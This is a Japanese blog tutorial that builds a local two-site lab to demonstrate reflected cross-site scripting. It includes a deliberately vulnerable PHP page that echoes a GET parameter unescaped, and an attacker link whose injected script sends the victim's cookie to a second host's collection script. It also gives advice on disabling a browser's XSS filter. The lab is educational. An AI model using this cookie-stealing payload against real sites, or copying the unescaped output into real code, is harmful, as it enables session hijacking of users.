xssの検証


XSS(クロスサイトスクリプト)の動作検証してみる。まずWEBサーバが1つしかない場合でも検証可能とするために、ApacheをIPベースの仮想サーバとして設定。
[root@localhost html]# vi /etc/httpd/conf/httpd.conf
<VirtualHost 192.168.200.10:80>
   DocumentRoot "/var/www/html10"
</VirtualHost>
<VirtualHost 192.168.200.20:80>
   DocumentRoot "/var/www/html20"
</VirtualHost>
/var/www/html10はターゲット、/var/www/html20は攻撃者用サイト。

eth1デバイスに仮想アドレスを割り付ける。
[root@localhost html]# ifconfig eth1:0 192.168.200.10
[root@localhost html]# ifconfig eth1:1 192.168.200.20
[root@localhost html]# ifconfig
eth1:0    Link encap:Ethernet  HWaddr 00:03:FF:7F:8F:98
         inet addr:192.168.200.10  Bcast:192.168.200.255  Mask:255.255.255.0
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         Interrupt:11 Base address:0x6000

eth1:1    Link encap:Ethernet  HWaddr 00:03:FF:7F:8F:98
         inet addr:192.168.200.20  Bcast:192.168.200.255  Mask:255.255.255.0
         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
         Interrupt:11 Base address:0x6000
Apacheの再起動
[root@localhost html10]# /etc/init.d/httpd restart

ターゲットとなるWEBサイト(/var/www/html10/index.php)
<?php
   if (!isset($_COOKIE['targetcookie'])) {
       setcookie("targetcookie", "123");
   }
   if (isset($_GET['name'])) {
       print $_GET['name'];
   }
   else {
       dsp_form();
   }

function dsp_form()
{
  $html = <<<EOD
<html><body>
<form action="index.php" method="GET">
 <input type="text" name="name" size="50"><br>
 <input type="submit" value="submit">
</form>
</body></html>
EOD;
   print $html;
}
ためしにnameに<script>alert(document.cookie)</script>を入力してみると、クッキtargetcookie=123と表示される。

ターゲットへ導入する攻撃者のサイト(/var/www/html20/index.html)
<html>
<body>
<a href=http://192.168.200.10/index.php?name=%3Cscript%3Edocument.location="http://192.168
.200.20/getcookie.php?targetcookie="%2Bdocument.cookie;%3C/script%3E>xss</a>
</body>
</html>
ここに192.168.200.10に誘導するURLを記述する。そしてnameボックス内で以下のスクリプトを動作させるようにする。
document.location="http://192.168.200.20/getcookie.php?targetcookie="+document.cookie;
document.cookieは192.168.200.10サイトで実行されることになり、ターゲットサイトのクッキとなる。それをtargetcookieのGET引数で、document.locationで攻撃者のサイトにリダイレクトさせる。

a hrefタグの中身は
http://192.168.200.10/index.php?name=<script>document.location="http://192.168
.200.20/getcookie.php?targetcookie="+document.cookie;</script>
で、<>+をURLエンコードしたもの。

ブラウザからhttp://192.168.200.20/とし、画面上にあらわれたxssをクリックすればよい。getcookie.phpは動作検証ということで画面に表示させているだけだが、実際はファイルに落とし込めばよい。
ターゲットのクッキ取得サイト(/var/www/html20/getcookie.php)
<html>
<body>
<?php
   if (isset($_GET['targetcookie'])) {
       print $_GET['targetcookie'];
   }
   else {
       print "NO COOKIE";
   }
?>
</body>
</html>

みごとに192.168.200.20サイトにて192.168.200.10のクッキが表示された。

p/s
Explorer8ではXSSのフィルタが掛けられている。動作検証する場合、インターネットオプションのセキュリティのレベルのカスタマイズでXSSフィルを無効にする必要あり。

最終更新 2010/04/16 21:49:56 - north
(2010/04/16 21:24:19 作成)


検索

アクセス数
3689225
最近のコメント
コアダンプファイル - sakaia
list_head構造体 - yocto_no_yomikata
勧告ロックと強制ロック - wataash
LKMからのファイル出力 - 重松 宏昌
kprobe - ななし
ksetの実装 - スーパーコピー
カーネルスレッドとは - ノース
カーネルスレッドとは - nbyst
asmlinkageってなに? - ノース
asmlinkageってなに? - よろしく
Adsense
広告情報が設定されていません。